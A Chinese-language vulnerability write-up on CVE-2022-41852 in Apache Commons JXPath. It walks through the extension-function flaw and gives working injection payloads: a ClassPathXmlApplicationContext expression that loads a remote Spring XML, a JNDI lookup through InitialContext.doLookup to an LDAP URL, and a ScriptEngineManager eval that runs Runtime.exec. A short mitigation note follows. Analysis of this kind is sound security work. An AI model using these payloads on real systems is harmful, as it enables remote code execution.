Apache Commons JXPath
Apache Commons JXPath是美国阿帕奇(Apache)基金会的一种 XPath 1.0 的基于 Java 的实现。JXPath 为使用 XPath 语法遍历 JavaBeans、DOM 和其他类型的对象的图形提供了 API。
依赖
<dependency> |
CVE-2022-41852
版本:<=1.3
JXPath
JXPath提供一个Extension Functions 扩展功能:JXPath 开箱即用地支持标准 XPath 函数。它还支持“标准”扩展函数(基本上是 Java 的桥梁)以及完全自定义的扩展函数。
基本是这个是漏洞的利用点,能直接调用java中相关静态方法和构造方法
利用:
1.通过调用对象的new创建一个对象
2.能够调用静态方法
3.或者是调用普通方法的方法(类似于invoke的用法??)
对应类:PackageFunctions
逻辑自己看代码(懒得解释了)
漏洞环境:
String s="org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8001/test.xml\")"; |
getValue方法:
实际上是调用了compute方法或者是computeValue方法
类似的方法调用还有:iteratePointers/iterate
构造方法利用
spring环境:
- **ClassPathXmlApplicationContext **
- FileSystemXmlApplicationContext
利用:
直接利用远程加载spring配置文件,构造任意bean并调用任意方法实现RCE
弹计算器
|
(其中class指定类名,constructor-arg构造方法参数,init-method初始bean要调用的方法)
看看ClassPathXmlApplicationContext
然后根据xml配置文件完成bean工厂的初始化,并创建对应的bean (通过AbstractAutowireCapableBeanFactory#invokeCustomInitMethod调用相关方法)
poc
仅适用于Spring环境
1.开启http服务,放置对应恶意的spring配置文件,如上面的test.xml
2.编写注入表达式:
org.springframework.context.support.ClassPathXmlApplicationContext.new("http://127.0.0.1:8001/test.xml") |
静态方法调用的利用
对于这种demo的利用,我们可以关注到javax.naming.InitialContext#doLookup方法
jndi注入,不分析了
一个静态方法干了两件事情,标准的能进行jndi注入
String s="javax.naming.InitialContext.doLookup(\"ldap://127.0.0.1:8085/CUhddZiV\")"; |
普通方法调用
根据官方逻辑:https://commons.apache.org/proper/commons-jxpath/users-guide.html#Extension_Functions
JXPathContext context = JXPathContext.newContext(null); |
又或者我们利用ScriptEngineManager调用js实现rce
eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec("calc")') |
修复
限制lib库使用,就是禁用java相关调用
var pathContext = JXPathContext.newContext(null); |